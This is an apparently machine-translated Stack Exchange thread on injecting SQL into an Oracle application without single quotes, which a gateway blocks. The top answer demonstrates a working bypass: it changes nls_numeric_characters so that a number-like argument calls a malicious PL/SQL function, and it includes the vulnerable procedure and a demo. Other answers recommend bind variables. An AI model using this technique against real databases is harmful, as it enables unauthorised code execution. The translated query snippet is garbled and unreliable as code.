¿Hay alguna forma de salir de la cadena e inyectar SQL sin usar una comilla simple en Oracle?


12

Estoy probando una aplicación basada en Oracle y encontré el siguiente código:

Consulta = "SELECCIONE el nombre DE los empleados DONDE id = '" + PKID + "';"

es decir, la cadena de consulta contiene comillas alrededor del valor PKID que se obtiene directamente de la URL.

Obviamente, esta es una inyección clásica de SQL que espera suceder ... excepto que la aplicación está detrás de CA SiteMinder que bloquea cualquier URL con una comilla simple (en cualquier forma) para que no se pase a la aplicación.

¿Hay alguna forma de salir de la cadena e inyectar SQL sin usar una comilla simple?

Editar: Lo siento, debería haber sido más claro: entiendo cómo debe escribirse, pero necesito convencer a la gente de que es un problema explotable. Por el momento, porque está detrás de siteminder, que bloquea las comillas simples, por lo que será una solución de baja prioridad.


1
¿Has intentado usar una variable de enlace?
JHFB

Lo que dijo @JHFB. Las variables de enlace son una práctica estándar.
Philᵀᴹ

Respuestas:


9

Sí, es posible realizar un ataque de inyección SQL sin proporcionar comillas en el parámetro.

La forma de hacerlo es con un exploit relacionado con cómo se procesan los números y / o las fechas. Puede especificar a nivel de sesión cuál es el formato de una fecha o número. Al manipular esto, puede inyectar cualquier carácter.

De manera predeterminada en el Reino Unido y los EE. UU., Se utiliza una coma para indicar el separador de miles en números y un punto final para el punto decimal. Puede cambiar estos valores predeterminados ejecutando:

alter session set nls_numeric_characters = 'PZ';

Esto significa que "P" es ahora el punto decimal y "Z" es el separador de miles. Entonces:

0P01

Es el número 0.01. Sin embargo, si crea una función P01, la referencia del objeto se seleccionará antes de la conversión de números. Esto le permite ejecutar funciones en la base de datos que le otorgan poderes crecientes, de la siguiente manera:

Cree una función básica "obtener por id":

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

También cree una función P01 que haga algo indeseable (en este caso solo crea una tabla, pero se entiende):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

Y estamos listos para ir:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

No hay comillas en ningún lado, ¡pero aun así hemos logrado ejecutar la función "oculta" P01 y crear la tabla t!

Si bien esto puede ser difícil de hacer en la práctica (y puede requerir algunos conocimientos / ayuda internos), esto muestra que puede inyectar SQL sin tener que tener comillas. Alterar el nls_date_formatpuede permitir que se hagan cosas similares.

Los resultados originales de los números fueron de David Litchfield y puedes leer su artículo aquí . Puede encontrar la discusión de Tom Kyte sobre cómo se pueden explotar las fechas aquí .


4

Probablemente podría sobrecargar el tipo de datos que está utilizando, haciendo que la declaración falle. Entonces, lo que viene después podría potencialmente ejecutarse.

Tal vez enviarlo como una matriz de bytes Unicode haría el truco y lo sacaría de esa declaración a otra.

Si hay un agujero abierto, se abusará de él. Y bloquear todas las cadenas con una sola cita no es una buena idea ya que las personas con el apellido "O'Brian" no pueden ser sus clientes (entre otros).


Supongo que te refieres a "agujero" y no a "entero".
ypercubeᵀᴹ

1

Intenta usar una variable de enlace. Puede declararlo como un número y eso debería evitar una inyección SQL perjudicial.

ADICIÓN: las variables de enlace también aumentan el rendimiento y la escalabilidad porque el plan de consulta se compila y almacena para su reutilización. Solo algo más para agregar a su argumento. :)


1
No está preguntando sobre formas de prevenir la inyección, sino sobre formas de abusar de ella.
Jeff

1
@jeff El OP también pregunta por razones para no usar este tipo de código. No usar variables de enlace destruye el rendimiento, por lo que esta es una buena razón para usarlas siempre .
Vincent Malgrat

@Vincent Malgrat: "No usar variables de enlace destruye el rendimiento" está mal. Es cierto que la compilación de una declaración puede evitarse usando variables de enlace. Además, el grupo compartido se verá inundado por muchas declaraciones similares si no utiliza variables de enlace. Sin embargo, el optimizador tiene menos información para construir un plan si se usan variables de enlace en lugar de valores literales. Hay situaciones en las que deberían seleccionarse diferentes planes dependiendo de los valores de las variables de enlace (o los valores literales).
milagro173

@ miracle173 Por supuesto que habrá excepciones, pero no para una búsqueda de clave principal como la dada por el OP, nunca =)
Vincent Malgrat
Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.